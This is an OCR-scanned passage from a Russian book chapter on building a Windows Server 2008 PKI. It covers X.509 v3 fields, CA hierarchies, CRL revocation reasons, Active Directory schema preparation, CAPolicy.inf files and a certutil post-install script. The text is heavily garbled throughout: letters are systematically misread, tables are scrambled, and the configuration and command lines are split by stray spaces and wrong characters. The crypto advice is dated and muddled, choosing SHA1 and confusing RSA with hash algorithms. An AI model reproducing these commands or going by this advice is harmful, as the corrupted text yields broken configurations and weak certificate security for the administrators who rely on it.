зуется для хранения открытого ключа и идентификации алгоритма, 
соответствующего открытому ключу. Стоит отметить, что ноля Уни
кальный идентификатор владельца и издателя могут использоваться 
только в сертификатах версий 2 или 3. Поле было предусмотрено 
в версии 2 сертификатов Х.509 для целей обеспечения использования 
одинакового имени владельца или издателя в разных сертификатах. 
С введением дополнений в версии 3 такая необходимость отпала. 

Однако сейчас все больше используются сертификаты Х.509 вер
сии 3.  В отличие от предыдущих версий 1 и 2 ,  здесь имеются не
сколько дополнений. Каждое дополнение состоит из трех нолей: type, 
critical, value. 

Соответственно, дополнение представляет собой структуру, содер-
жащую следующие данные: 

О идентификатор дополнения - type; 
О признак �критичное/некритичное дополнение� - critical ; 
О собственно значение дополнения, представленное в бинарном 

виде ( О СТЕТ STRING), - value. 

В зависимости от тех задач, которые поставлены разработчиками, 
само дополнение может являться сколь угодно сложной структурой, 
формат и интерпретация которого определяются идентификатором 
дополнения. Рекомендации определяются основной целью критич
ных дополнений - предохранить сертификат, изданный ЦС, от воз
можности использования его в приложениях, которые не могут обра
ботать такие дополнения. В соответствии с рекомендациями правила 
обработки дополнений требуют от прикладного ПО отвергнуть сер
тификат, если дополнение отмечено критичным и прикладное ПО не 
может его интерпретировать. В свою очередь, требование отвергнуть 
дополнение прикладным ПО,  отмеченное как критичное, при невоз
можности его интерпретации требует от прикладного ПО детального 
разбора дополнений сертификатов и затрудняет процесс модифика
ции как прикладного ПО,  так и ПО.  В приведенной ниже таблице 
представлен формат сертификата версии 3. 

fа6пица J J . Формат сертнфнката верснн З 

Vers ion Версия  сертиф и ката 3 
Certif icate Ser ia l  Сери й н ы й  номер 40 :00 :00 :00 :00 :00 :00 :аЬ :38 :  1 е :8Ь :е9 :0  
N u m ber  сертиф и ката 0 :3 1 :Ос :60 
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rаблица 1 1 . Формат сертификата версии З 

S igna lu re Идентиф и катор гост р 34 . l 0-94 
A lgori thm ал горитма Э Ц П  
l dent il i e r  

l s sue r  Х .500  Имя издателя C=RU ,  ST=Moscow,O= P K I ,  
N a m e  серти ф и ката C N =Cert i l icat i on  Autho rity 

Va l i d ity Pe riod Срок  дей ств ия  Действител ен  с :  Н оя 2 06 : 5 9 : 00  1 9 99  
серти ф и ката GMT 

Действ ител ен  п о :  Ноя  6 06 : 5 9 : 00  2 004 
G MT 

Sub ject Х .500  Имя вл адел ьца C=RU ,  ST=Moscow, O = P K I ,  
N a m e  серти ф и ката C N =S idorov 

Sub ject P u Ь l i c  Открыты й кл юч  Тип  кл юча :  открытый  кл юч  ГО СТ 
Кеу l nfo владел ь ца Дл и н а  кл юча :  l 024  

Значение :  AF : E D :80 : 43  . .  

l s sue r  U n i q ue  I D  Уни кал ь н ы й  иденти-
vers ion  2 ф и катор издателя 

Sub ject U n i q ue  Уни кал ь н ы й  иденти-
ID vers ion  2 ф и катор вл адел ьца 

type  cr i t i ca l  va l u e  Дополнен и я  (тол ько в е р с и я  3 )  

type  cr i t i ca l  va l u e  

type  c rit i ca l  va l u e  

С А  S ignalu re 
Э ЦП центра серти ф и каци и 

А на рисунке нриведен стандартный набор расширений, иснользуе
мый в сертификатах Х.509 версии 3 (рис. 60) .  

Удостоверяющие центры 
Тенерь наговорим об унравляющих центрах. УЦ отвечают за вынуск 
и отзыв сертификатов . Так как этот раздел носвящен реализации PKI 
на основе нродуктов Майкрософт, мы воснользуемся той терминоло
гией, которая иснользуется в их литературе, нанример нредноложим, 
у нас есть корневой унравляющий центр (Root Certification Authority, 
Root СА) и нодчиненный унравляющий центр ( Intermediate СА). Как 
уже уноминалось ранее, доверительные отношения центров строит
ся но иерархической схеме, таким образом удостоверяющий центр, 
лежащий в основе данной иерархии, называется корневым УЦ. При 
настройке корневого УЦ необходимо соблюсти ряд нредосторожно
стей. Root СА отвечает за выдачу сертификатов нодчиненным удо-
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Версия 
Серийный номер Алгорнтм подписи 
Имя нздотеля 
Срок действия vз -
Им11 субъекта 
Открытый ключ субъекта 
Уникальный 
идентификатор издателя 
Уникальный 
идентификатор субъекта 
Расширен•1Я . . .  
Сод ержимое подписи 

Сертификат Х.509 версии 3 

СА f. Подписан 

x.509v3 Stondord Extensions 

Тип 1 1  Крити чность 1 
A11thorityKeyldentifier 1 1  Нет 1 

SubjectKeylden tifier 1 1  Нет 1 
KeyUsage 1 Должна быть 1 

PrivoteKeyUsagePeriod 1 Нет 1 
CertificatePolicies 1 Нет 1 
PolicyMappings 1 Нет 1 

S11biectA/ternativeName !см. RFC з2воl 
lssuerA/ternativeName См. RFC 3280 

S11bjectDirAttribute Нет 
B asicConstroints Да 

NameConstraints Да 

PolicyConstroints М ожет быть 
ExtendedKeyUsage М ожет быть 

ApplicotionPo/icies Нет 
AuthoritylnfoAccess Нет 
CRШistributioлPoint Нет 

Рис. 60. Расширения Х.509 версии З 

стоверяющим центрам, ноэтому сервер корневого УЦ должен быть 
максимально защищен от взлома. Наилучшим решением но защите 
сервера корневого УЦ является его нодключение к сети только в тех 
случаях, когда необходимо нроизвести нродление или отзыв серти
фиката одного из нодчиненных УЦ или развернуть новый УЦ. Все 
остальное время данный сервер должен быть отключен от сети во 
избежание его комнрометации. 

Подчиненный удостоверяющий центр может вынолнять различ
ные роли: он может осуществлять выдачу сертификатов другим 
УЦ, находящимся ниже в иерархии, а может осуществлять выдачу 
сертификатов неносредственно нользователям, если сам является 
нижним звеном. Возможен также вариант, когда нодчиненный УЦ 
осуществляет выдачу сертификатов как другим УЦ, так и конечным 
нользователям. 

Снециальным видом нодчиненных УЦ является удостоверяющий 
центр нолитик ( Policy СА). УЦ нолитик осуществляет выдачу сер-
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тификатов только другим нодчиненным удостоверяющим центрам 
в данной иерархии. УЦ нолитик может онределять, какие сертифи
каты выдавать различным УЦ. 

Говоря о тонологиях, стоит заметить, что классической реализа
цией PKI, рекомендованной Майкрософт, является трехуровневая 
тонология. На верхнем уровне иерархии находится корневой УЦ, 
осуществляющий выдачу сертификатов для нодчиненных центров 
сертификации второго уровня. Подчиненные центры сертификации 
второго уровня являются также УЦ нолитик и, соответственно, отве
чают за выдачу сертификатов УЦ третьего уровня. И наконец, центры 
сертификации третьего уровня выдают сертификаты неносредствен
но нользователям. 

Пример такой тонологии для географически разнесенной сети 
нредставлен на рис . 6 1 .  

Корневой УЦ 

УЦ внутренних политик УЦ внешних политик 

УЦ для заказчиков 

Рис. 6 J . Пример трехуровневой топологии РК/ 

В нроцессе работы ностоянно нодключены к сети должны быть 
только нодчиненные центры сертификации. Как уже говорилось 
ранее, корневой ЦС, как нравило , нодключается к сети только тог
да, когда необходимо обновить или отозвать сертификаты нодклю
ченных ЦС,  а также когда нужно нодключить новый нодчиненный 
ЦС. 
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Списки аннулированных сертификатов 
Надеюсь, я не слишком утомил читателя теоретическими основами 
инфраструктуры открытого ключа. Нам осталась последняя тема. Это 
списки аннулированных сертификатов ( Certificate Revocation Lists ). 
В некоторых случаях сертификат приходится отзывать до истечения 
срока его действия. Например, когда есть подозрение, что данный 
сертификат может быть скомпрометирован, в случае с хищением но
утбука или заражения рабочей станции вирусом. В таких случаях 
необходимо как можно быстрее отозвать сертификат. Но одного от
зыва сертификата мало, нужно также уведомить всех пользователей 
PKI о том, что данный сертификат не является действительным. Для 
этого и нужны списки аннулированных сертификатов. 

CRL в Windows Server 2008 бывают двух видов : базовый CRL и 
дельта CRL. Базовый CRL содержит полный список серийных но
меров отозванных сертификатов, в дельта CRL указаны только се
рийные номера тех сертификатов,  которые были отозваны с момента 
последней публикации базового CRL. Дельта CRL намного меньше 
но размерам, чем базовые CRL, и их использование помогает снизить 
нагрузку на каналы связи. 

В CRL Windows Server 2008 при отзыве сертификата необходимо 
указать причину отзыва. Это может оказаться полезным для адми
нистраторов информационной безопасности, так как может помочь 
расследованию инцидентов. Причины могут быть следующие: 

О Кеу Compromise (компрометация ключа) - секретный ключ 
пользователя украден, или украден ноутбук, или смарт-карта; 

О СА Compromise (компрометация УЦ) - секретный ключ УЦ 
скомпрометирован. Например, украден жесткий диск сервера УЦ; 

О Affiliation Changed (измепепие припадлежпости) - субъект 
данного сертификата (как правило, пользователь) больше не 
связан с данной организацией ; 

О Superseded (замепеп) - отозванный сертификат заменен но
вым сертификатом; 

О Cessation Of Operation (прекращепие действия ) - субъект 
данного сертификата переведен в резерв. Например, старый 
веб-сервер заменен новым сервером с новым именем; 

О Certificate Hold (удержапие сертификата ) - сертификат вре
менно отозван. Например, сотрудник находится в отпуске или 
командировке. Данная причина является единственной из всего 
приведенного списка, при которой можно отменить отзыв сер
тификата; 
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О Remove From CRL (удалить из CRL) - эта причина исполь
зуется для случаев, когда отзыв сертификата отменяется после 
Certificate Hold. Данный статус используется только в дельта 
CRL. Статус Remove From CRL показывает, что сертификат, 
отозванный в базовом CRL, действителен в дельта CRL; 

О Unspecified ( пе устаповлепо ) - для случаев,  когда причина 
отзыва не подходит под какой-либо из предыдущих пунктов.  

Списки аннулированных сертификатов являются неотъемлемой 
частью инфраструктуры PKI, поэтому их своевременная публикация 
не менее важна, чем публикация сертификатов.  

Ранее мы обсудили теоретические основы PKI, рассмотрели реа
лизацию различных компонент в Windows Server 2008. Теперь перей
дем к непосредственному разворачиванию иерархии удостоверяющих 
центров. 

Итак, мы будем разворачивать двухуровневую иерархию инфра
структуры открытых ключей. В состав данной иерархии будут вхо
дить корневой удостоверяющий центр, Root СА и подчиненный УЦ 
Subordinate СА. 

Но начнем мы все-таки с некоторых теоретических сведений о тине 
центров сертификации в решениях от Майкрософт. 

Немного о центрах сертификации 
На основе решений Microsoft можно развернуть центры сертифи
кации двух типов,  Standalone или Enterprise Certification Authority. 
Как правило, все стараются использовать Enterprise СА, при этом 
зачастую не совсем понимая различия между этими тинами центров 
сертификации. Далее мы поговорим об основных характеристиках 
Standalone и Enterprise СА. 

Standalone СА 
Основное отличие этого тина ЦС заключается в том, что для него не 
требуется наличия домена Active Directory. Также выдавать сертифи
каты в Standalone СА можно только через Enrollment Web Pages, либо 
вручную генерируя запросы (с помощью .rеq-файлов ) и отправляя их 
через оснастку CertSrv.msc. Эта возможность появилась в Windows 
Server 2008. 

Существенным недостатком Standalone СА является то, что вы не 
можете пользоваться функциями autoenroll. Также при выдаче сер
тификатов Standalone СА не может автоматически публиковать сер
тификаты в свойства учетной записи пользователя или компьютера. 
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Где лучше всего применять Standalone СА? В ситуации, когда есть 
независимый от домена AD центр сертификации ( Standalone СА в ра
бочей группе) ,  гораздо проще проводить миграцию и реструктуриза
цию лесов AD, поскольку эти процессы не затрагивают корневой СА 
и избавляют от проблем построения новой иерархии PKI. В такой 
ситуации достаточно только сменить центры сертификации 2-го и 
3-го уровней. Именно но этой причине корневые центры сертифика
ций целесообразно устанавливать вне домена, в рабочей группе. Что 
мы и будем делать далее. 

Enterprise СА 
Этот тин центров сертификации имеет ряд существенных отличий 
от Standalone СА. Во-первых, Enterprise СА требует наличия домена 
Active Directory для хранения там своей информации и шаблонов 
сертификатов . Данный тин СА имеет очень большие возможности 
но выдаче и обслуживанию сертификатов.  С помощью Enterprise СА 
можно автоматизировать процесс распространения сертификатов во 
всем лесу AD. Также нам не потребуется генерация файлов запросов 
со стороны клиентов, вместо этого можно подавать заявки на серти
фикаты через оснастку Certificates консоли ММС. 

При создании нашей инфраструктуры PKI мы будем использовать 
как Standalone, так и Enterprise СА. При этом корневой УЦ будет 
Standalone, так как данный сервер должен быть отключен от сети и 
использоваться только для выдачи сертификатов подчиненным УЦ, 
и, соответственно, он не должен входить в домен Active Directory. 
А подчиненные УЦ второго и третьего уровней будут входить в домен 
Active Directory и являться Enterprise СА. 

С тинами УЦ мы разобрались, теперь подготовим нашу инфра
структуру Active Directory. 

Готовим инфраструктуру Active Directory 

Перед началом установки элементов PKI нам необходимо подго
товить нашу инфраструктуру Active Directory. Как правило, перед 
началом установки PKI на основе Windows Server 2008 чаще всего 
возникают следующие вопросы: 

О Нужпо ли обповлять все коптроллеры домепа в лесу до уров
пя Windows Server 2008? В этом нет необходимости. Windows 
Server 2008 PKI не требует использования только контроллеров 
домена Windows Server 2008. Вы можете развернуть Windows 
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Server 2008 PKI в домене Microsoft Windows 2000 или Windows 
Server 2003 Active Directory. 

О Нужпо ли обповлять фупкциопальпыii уровепь домепа и/или 
леса до Windows Server 2008? В этом также нет необходимости 
при развертывании Windows Server 2008 PKI. 

В случае если в вашей сети используются контроллеры домена 
Windows 2000 или Windows Server 2003, для развертывания PKI вам 
необходимо выполнить еще несколько действий. 

О Определить количество лесов . Количество лесов,  очевидно, 
влияет на число ЦС Enterprise уровня. ЦС уровня предприятия 
может выдавать сертификаты только пользователям и компью
терам, входящим в тот же лес. Для нескольких лесов необходи
мо развернуть хотя бы один ЦС для каждого леса. 

О Определить количество домепов в лесу. Здесь, но аналогии 
с предыдущим абзацем, вам необходим хотя бы один ЦС на 
каждый домен леса. 

О Определить, какие пользователи входят в состав группы ло
кальпых адмипистраторов па используемых серверах. Все 
члены группы локальных администраторов на сервере ЦС име
ют возможность экспортировать секретные ключи ЦС. Поэтому 
нужно проследить за тем, чтобы в этой группе были только те 
пользователи, которым данный уровень доступа действительно 
необходим. 

О Определить версию схемы в домепе . Для внедрения ЦС на 
основе Windows Server 2008 получения всех новых возмож
ностей, доступных в этой версии операционной системы, вам 
необходимо использовать последнюю версию схемы AD DS.  
Схема Windows Servers 2008 может быть развернута, если в до
мене присутствуют Windows 2000, Windows Server 2003 или 
контроллеры домена Windows Server 2008. 

И, завершая тему лесов, обсудим, что нужно делать, если ваш лес 
Windows 2000 или Windows Server 2003. Прежде всего вам необхо
димо определить, какой сервер является Schema Operations Master. 
Обновление схемы должно производиться на сервере с ролью Schema 
Operations Master. 

Для того чтобы определить наличие данной роли, необходимо вы
полнить следующие действия: 

1. В командной строке выполните команду regsvr32 schmmgmt. 
dll. Таким образом будет зарегистрирована необходимая dll
библиотека. 
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2.  Далее откройте новую консоль ММС. 
3. В меню File выберите Add/Remove. 
4. Затем в Add Standalone Snap-in выберите Active Directory 

Schema и нажмите Add. 

Таким образом, у вас откроется дерево, в котором необходимо вы
брать Active Directory Schema, затем нажать правую кнопку мыши 
и выбрать Operations Master. В открывшемся окне смены Schema 
Master будет указан текущий владелец данной роли. 

Теперь произведем обновление схемы. Для этого необходимо вой
ти на контроллер домена с нравами пользователя из групп Schema 
Admins и Enterprise Admins. В DVD -нриводе сервера должен быть 
установлен Windows Server 2008 DVD-диск. 

1. В командной строке необходимо на DVD-нриводе перейти в ка
талог \sources\adprep. 

2. Далее выполните команду adprep/forestprep. 
3. После предупреждения нажмите С, если ваша система удовлет

воряет минимальным требованиям. 
4. По окончании процесса обновления убедитесь, что вы полу

чили сообщение Adprep successfully updated the forest-wide 
information. 

Замечание но версиям схемы. Если обновление производилось с 
Windows 2000 Active Directory, то с версии 13  должно быть обновлено 
до версии 44. Если обновление производилось с Windows 2003 Active 
Directory, то схема обновится с версии 30 на версию 44. И если об
новлялись с Windows Server 2003 R2, то версия изменится с 31 на 44. 

Когда обновление закончится, необходимо убедиться, что измене
ния ренлицировались на все контроллеры домена в лесу. Для этого 
можно воспользоваться графической утилитой replmon.exe или ути
литой командной строки repadmin.exe из пакета Windows Support 
Tools. 

Закончив с модификацией схемы, следует подготовить каждый 
домен в лесу к работе в режиме Windows Server 2008.  Для этого 
нужно выполнить действия, аналогичные приведенным выше но 
модификации леса, но на шаге указать команду adprep/domainprep/ 
gpprep. 

Еще одно подготовительное действие нам необходимо выполнить 
но настройке группы Cert PuЬlishers. Нам нужно определить, какой 
областью действия обладает данная группа. Группа Cert PuЬlishers 
создается но умолчанию в каждом домене в лесу Active Directory. 
Данная группа обладает нравами на чтение и запись информации 
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о сертификате в атрибуте userCertificate объектов домена. Сертифи
каты, публикуемые с этими атрибутами, как правило, являются сер
тификатами, предназначенными для шифрования, которые позволя
ют всем желающим получать публичный ключ данного сертификата 
шифрования. 

В зависимости от того, какой уровень домена используется, на
стройки группы Cert PuЬlishers могут отличаться. 

О Если домен бьш создан на Windows 2000 сервере (с помощью 
D CPromo.exe ) ,  группа Cert PuЬlishers будет глобальной. Это 
означает, что только пользователи из того же домена смогут 
быть в этой группе. 

О Если домен был создан на Windows Server 2003 или Windows 
Server 2008 сервере, группа Cert PuЬlishers будет локальной. 
Это означает, что пользователи из любого домена могут быть 
членами данной группы. 

Эта информация может оказаться полезной при планировании раз
вертывания служб PKI в домене Active Directory. 

Начнем с установки Offline Root СА 
Прежде всего будем считать, что сервер под управлением Windows 
Server 2008 установлен и на нем развернуты все последние обнов 
ления. 

Перед началом непосредственно установочного процесса следует 
создать конфигурационный файл %systemroot%/CAPolicy.inf. Дан
ный файл необходим установщику роли AD CS для установки. 

[ Ve r s i o n ] 

S i g n a t u re=  " $Wi n d ows NT$ " 

[ c e rt s rv_s e rve r ]  

; Устан а в л и в ается дл и н а  ключ а ,  которая  будет и с п ол ь з о в аться  

; тол ь к о  при  обно влен и и  сертифи ката СА  

R e n ewalKey l e n g t h  = 2048 

; Устан а в л и в ается срок  действ и я  о б н о в л е н н о г о  с е ртифи ката . 

; Будет и с п о л ь з о в аться  тол ь к о  п р и  обно вл е н и и  с е ртифи ката СА 

R e n ewalVa l i d i ty Pe r i od U n i t s  = 1 0  

; Устан а в л и в ается еди н и ца и з м е р е н и я  дл я п редыдуще го п а раметра 

R e n ewalVa l i d i tyPe riod  = y e a r s  

; Устан а в л и в ается п е р и од и ч ность публ и ка ц и и  C R L  в 90  дней  ( ил и  3 меся ца ) 

C R LPe r i od U n i t s  = 9 0  

C R LPe riod  = d ay s  

; Устанавл и в ается срок  п родл е н и я  с п и с к о в  отоз ванных сертифи като в , C R L .  Факти ч е с к и й  

; с рок  действ и я  СА  L дл я кл и ентов ув ел и ч и в ается на з аданный  п е р и од .  кото рый  в нашем 
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; случае  равен  2 недел я м . Это  о з н ачает ,  что с е р в е р  СА будет публ и ко в ать н о в ы й  

; C R L  каждые 9 0  дне й .  а с р о к  дейст в и я  это го C R L  будет 1 04 дня . П редпола гаетс я , 

; что з а  эти д в е  недел и адм и н и стр ато р с м ожет расп ространить данный  C R L 

C R LOve r l a pU п i t s  = 2 

C R LOve r l a p P e riod  = wee k s  

; Отключаем  публ и ка ц и ю  D e l t a  C R L  

C R LDelta P e r i o d U n i t s  = О 

CR LDe  ltaPe  r iod  = h o u  r s  

; В ключаем  д и с к р етные ал гор итмы дл я п одп и с е й . 

D i s c reteSig n atu reAl g o r i t h m  = 1 

Для начала установки вынолним следующие действия. Откроем 
Start, далее Server Manager. В открывшемся окне выбираем Roles, 
затем Add Roles. На странице Before You Begin нажимаем Next. За
тем на странице Select Roles выбираем Active Directory Certificate 
Services и жмем Next (рис. 62). 

Add Role§ W1:z.ard 

Select Server Roles 

Вefore You Вegin 
Server Roles 
дD CS 

Role Servlces 

Setup Туре 

СА Туре 
Privete Key 

Cryptogrephy 
СА Name 
Validity Period 

Certificate Database 
Conflrmotlon 
Progress 

Results 

Select опе or more roles to lnstal on this server. 

Role s '  Desпiption: п��lllElllllllDl!ll!l!llГ ______ дctive D1rectorY cmificate Servlces 

О Actlve Dlrectory Dorмln Servlces �i:s � r�ac;:���e;;
i
;�c�� О Active Ditectory Fede1·etion Services that allow you to lssue and manage О Act1ve Directory Llghtweight Ditectoi·y Ser·vices certlflc.эtes used ln а varlety of О Active D�ectory RiQhl:s M;:inaQement Services epphcetions. 

О Applicatioп Server О DHCP Server О DNS Server О F�x Server О File Services О Networi<- Poky and Access Services О Priпl Services О Termlnal SerYlces О UDDI Servlces 

O web Server (JIS) О W1пd0\l\ls Deploymeпt Services О WiпdOVl's Server Update Services 

More �bout server rriles 

< Previous 1� � С�псеl 

Рис. 62. Выбор ролн Certificate Services 

На странице Role Services нам необходимо выбрать только 
Certification Authority, так как на корневом УЦ средства для рабо
ты с сертификатами через веб-интерфейс нам совершенно не нуж-
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ны. Далее снова нажимаем N ext. На следующем шаге нам доступен 
только Standalone СА, так как наш сервер корневого УЦ не входит 
в домен Active Directory. На странице выбора тина СА выберем Root 
СА и нажмем Next. На следующем шаге нам предлагается указать 
секретный ключ. В этом окне можно выбрать либо создание нового 
ключа, либо использование уже имеющегося. Во втором случае мы 
можем использовать уже существующие сертификаты при нереуста
новке СА. Мы выбираем Create а new private key и нажимаем Next. 
На следующей странице Cryptography мы задаем основу нашей 
инфраструктуры PKI, а именно криптографические алгоритмы. Мы 
выберем следующий кринтонровайдер из списка: RSA#Microsoft 
Software Кеу Storage Provider, длину ключа в 2048 бит и алгоритм 
подписи в SHA1.  Тут стоит сделать некоторые пояснения, так как 
данный момент очень важен при развертывании инфраструктуры 
открытого ключа. Параноидальные специалисты но информацион
ной безопасности могут захотеть выбрать для корневого сертифи
ката более длинный ключ. Например, 4096 бит вместо 2048. Однако 
здесь следует учитывать, что некоторые приложения и устройства 
просто неспособны проверять цепочки сертификатов,  длина ключей 
которых больше 2048 бит. Так что если вы собираетесь использовать 
PKI для работы с каким-либо определенным приложением, то лучше 
всего сначала проверить в тестовой среде, как ваше специализиро
ванное ПО работает с длинными ключами. Но если ваша инфра
структура будет использоваться различными приложениями, то для 
совместимости лучше выбрать 2048 бит. Иначе вы можете попасть 
в крайне неприятную ситуацию, когда вновь внедряемое программ
ное обеспечение, такое как система двухфакторной аутентификации 
( смарт-карты), не сможет быть внедрено и потребует существенной 
переработки именно из-за слишком длинных ключей. И еще один 
момент - это алгоритм подписи. RSA - не самый стойкий алгоритм, 
однако мы выбираем его для совместимости. Если в вашей сети толь
ко серверы семейства Windows 2008 и рабочие станции семейства 
Windows Vista/7, то вы можете использовать алгоритмы SHA256 
или SHA384. Но если в вашей сети используются Windows Server 
2003 и ХР, то лучше оставить RSA, во избежание проблем с совмес
тимостью. 

Но вернемся к процессу установки. На странице выбора имени СА 
введем следующее: 

{ PKI- ROOT-CA} Class 1 Root Ce rtification Autho rity , 

где в фигурных скобках - имя данного сервера. 
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В ноле Distinguished name suffix можно указать: 

OU=I n fo rmat i o n  S e c u r ity , O = { P K I - R OOT- CA . } , C= { R U }  

На следующей странице Validity Period укажем срок действия сер
тификата. В большинстве случаев 1 0  лет внолне достаточно, так как 
это наиболее онтимальный срок действия корневого сертификата. 
Нажмем Next. 

На странице Certificate database укажите нуть, но которому бу
дет храниться БД сервера СА. Можно иснользовать и дефолтное 
или, если на сервере есть отказоустойчивый массив ( Raid 1 ,  Raid5 и 
нроизводные от них), размещать БД именно на них. Нажмите Next 
(рис. 63). 

A d d  Rult:"> W1.::drtJ � Confirm Instal lation Selections 

Before You Begin 

Server Roles 

AD CS 
Role Service:s 

51.":tup Type 

СА Туре 

Pr!Yate Кеу 
Cryp(09aphy 
Сд Neme 

Velid1ty Period 

Certlflcate Databa� 

Conf 1rmatlon 

Pror;1res::s 

Results 

То irt5tall the fol low ing role:s, role services, or feal:Lt'es1 ckk Instal . 
• 1 warning, 1 informat ional messaQes below 

ф This server might need to Ье restarted after the irt5tallation completes . 
е Ar:tive Directory [ertific.ate SerYiCe§ 

Certification Authority 
! The мmе end domein settings of this computer cennot Ье chenged efter Certificetion дuthority hes 

been lnstelled. 

СА Туре: 

CSP : 

Hash дlgcrithm: 

Кеу Length: 

дlcw CSP Interoctlcn :  

Certlficate VaMdity Perlcd ' 

DlstlngUshed паmе: 

Certiflcate Database Lccatlcn : 
Certiflcate Database Lщ1 Lccatlcn: 

Prlnt e-maH or save thls lnfcrmatlon 

stendelone Root 

RSA#Microsoft Softwere Кеу Stor!!lge Prcvider 

shal  

2048 

DlsaЫed 

5/13/2020 5 : 1 1  РМ 

CN•pkJ-ГIOOT -Сд 

С :  \Wlndows\system32\CertLcQ 

C : \Wlndcws\system32\CertLcQ 

Рис. 63. Спнсок указанных настроек 

На странице Confirmation нросмотрите настройки, которые вы 
указали. Если вы ошиблись на каком-то этане - вернитесь назад и 
иснравьте ошибку. Если все нравильно, нажмите Install и нодождите, 
нока мастер сконфигурирует роль. 
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Пока устанавливается корневой УЦ, поговорим немного о его за
щите. Как уже упоминалось, корневой УЦ должен быть постоянно 
отключен от сети. Подключается к сети он только для выполнения 
каких-либо действий с сертификатами подчиненных УЦ, а также 
для установки обновлений. Но этого мало. Необходимо обеспечить 
физическую защиту самого сервера корневого УЦ и его жестких дис
ков.  Возможны различные варианты защиты, как аппаратные, так и 
программные. Например, в инструкции но установке российского 
УЦ КринтоПро для обеспечения защиты предлагается использовать 
электронный замок Соболь. Данный электронный замок представ
ляет собой плату, которая устанавливается в РСI-слот сервера и осу
ществляет контроль целостности программной среды, регистрацию 
попыток доступа, а также идентификацию и аутентификацию пользо
вателей. Другими словами, с помощью данного аппаратного комплек
са злоумьштенник даже при наличии полного физического доступа 
не сможет получить доступ к содержимому жесткого диска сервера. 

Существует также и множество чисто программных решений, реа
лизующих аналогичную защиту жесткого диска. В случае ограни
ченности бюджета и невозможности закупки дополнительного ПО 
можно воспользоваться встроенными средствами шифрования EFS 
в Windows Server 2008.  Продумайте данный вопрос перед разверты
ванием PKI. 

Действия после установки 
После завершения установки нам необходимо выполнить еще одно 
важное действие - запустить ностустановочный скрипт, который за
вершит конфигурирование параметров УЦ. Данный скрипт вместе 
с комментариями бьт взят из источника. Наименования в фигурных 
скобках необходимо заменить на имена своих УЦ. 

Создаем п а п ку в корне д и с к а  С ,  где будут храниться  CRT- и СR L-файлы  

md  С :  \Се rtData  

З адаем точ к и  публ и ка ц и и  СR L-файл о в  и с с ыл к и . п убл и куемые в и здав аемых с е рти 

фи катах . То же самое  и дл я СRТ-файл о в . 

се r t u t i l  - se t  reg  CA\CR  L P u Ы i c at i o п U R L s  " 6 5 : %wi п d i  r%\system32\Ce rtS  rv\ 

Ce rtEn rol l\%%3%%8%%9 . c r l \ n б S : C : \Ce r t D ata\ { P K I - R OOT-CA } _R CA%%8 . c r l \ n 2 : h t t p : // 

www . { P K I - R OOT-CA } / p k i / {  P K I - R OOT-CA } _ R CA%%8 . c rl "  

c e r t u t i l  - se t reg  CA\CACe r t P u Ы icatio n U R Ls " 1 : %wi n d i r%\system3 2\Ce rtS rv\ 

Ce rtEn rol l\%%1 _%%3%%4 . c rt\n2 : h t t p : //www . { P K I - R OOT-CA } / p k i / {  P K I - R OOT-CA } _  

RCA%%4 . с rt " 

П о с кол ь ку мы не можем уп равлять  публ и ка ц и е й  СRТ-файл о в , мы е го 
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п е р е и м е но в ы в аем в нужное имя и ко п и руем в п а п ку C e rtData  

r e n  %wi n d i r%\system32\Ce rtS rv\Ce rtEn r o l l \ • . c rt  { P K I - R OOT-CA } _ R CA . c rt 

с о ру %wi n d i  r%\system32\Ce rtS  rv\Ce r tE n  r o l l  \ { P K I - R OOT - СА } _ А С А .  с rt С :  \Се rtData  

з адаем срок  действ и я  издаваемых  сертифи като в р а в н ы м  10  л ет 

c e r t u t i l  - se t reg  CA\Va l i d ityPe r i od U n i t s  1 0  

c e r t u t i l  - se t reg  CA\Va l i d ityPe r i o d  -vea гs -

З адаем п а р аметры публ и ка ц и и  C R L  ( п о вто ряем . что было  указано  в CAPolicy . i n f )  

c e r t u t i l  - se t reg  CA\CR LPe r i od U n i t s  9 0  

c e r t u t i l  - se t reg  CA\C R LPe riod  - oays -

c e r t u t i l  - se t reg  CA\CR LDelta P e r i o d U n i t s  О 

c e r t u t i l  - se t reg  CA\C R LDelta P e r i od  - oays -

c e r t u t i l  - se t reg  CA\CR LOve r l a p P e riod  -weeks -

c e r t u t i l  - se t reg  CA\CR LOve r l a pU n i t s  2 

Включаем  D i s c reteSi g n a t u reAl g o r i t h m  

C e r t u t i l  - se t reg  CA\csp\ D i s c reteSi g n a t u reAl g o r i t h m  

в ключаем  п о л н ы й  аудит дл я с е р в е р а  С А  

c e r t u t i l  - se t reg  CA\Au d i t Fi l t e r 1 2 7  

Включаем  п одде ржку с е ртифи като в OCSP  R e s p o n s e  S i g n i n g  н а  O f f l i n e  СА : 

c e r t u t i l  -v - s e t reg  p o l i cy\ed i t f l a g s  + E D ITF_ENAB LEO CS P R EV N O C H E C K  

n e t  stop  c e rtsvc  && n e t  s t a r t  c e rtsvc  

Публ и куем новый  C R L в но в ое  рас п ол ожен и е . 

се r t u t i l  -CR L 

Данный скрипт необходимо выполнить только один раз .  Скрипт 
создаст в корне диска С: нанку CertData, в которой будут храниться 
опубликованные списки CRL и файлы сертификатов сервера СА. 

Разворачиваем подчиненный УЦ 
Теперь в соответствии с описанной ранее архитектурой нам необ
ходимо развернуть подчиненный УЦ второго уровня.  Подчиненные 
центры сертификации второго уровня являются также УЦ политик 
и отвечают за выдачу сертификатов пользователям. Приступим к их 
установке. 

Сервер, на котором будет развернут данный УЦ, должен входить 
в домен Active Directory. Все описываемые далее действия необходи
мо выполнять под учетной записью, обладающей нравами Enterprise 
Admin. Как и в случае с корневым УЦ, сначала следует создать файл 
%systemroot%\ CAPolicy.inf следующего содержания (здесь файл при
водится без комментариев) .  



[ Ve r s i o n ] 

S i g n a t u re  = " $Wi n d ows NT$ " 

[ Po l icyStat e m e n t Exte n s i o n ] 

P o l i c i e s  = { P K I - R OOT-CA } C PS  

[ { P K I - R OOT-CA } C P S ]  
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URL  = h t t p : //www . { P K I - R OOT-CA } / pki/po l i c i e s . h t m l  

O I D  = 2 . 5 . 2 9 . 32 . 0  

[ c e rt s rv_s e rve r ]  

R e n ewalKey l e n g t h  = 2048 

R e n ewalVal i d i tyPe r i od U n i t s  = 1 0  

R e n ewalVa l i d i tyPe riod  = yea r s  

C R LPe r i od U n i t s  = 5 

C R LPe riod  = d ay s  

C R LOve r l a pU n i t s  = 1 

C R LOve r l a p P e riod  = days  

C R LDelta P e r i o d U n i t s  = 1 2  

C R LDelta P e r i od  = h o u r s  

; В ключаем  д и с к р етные ал гор итмы дл я п одп и с е й . 

D i s c reteSi g n a t u reAl g o r i t h m  = 1 

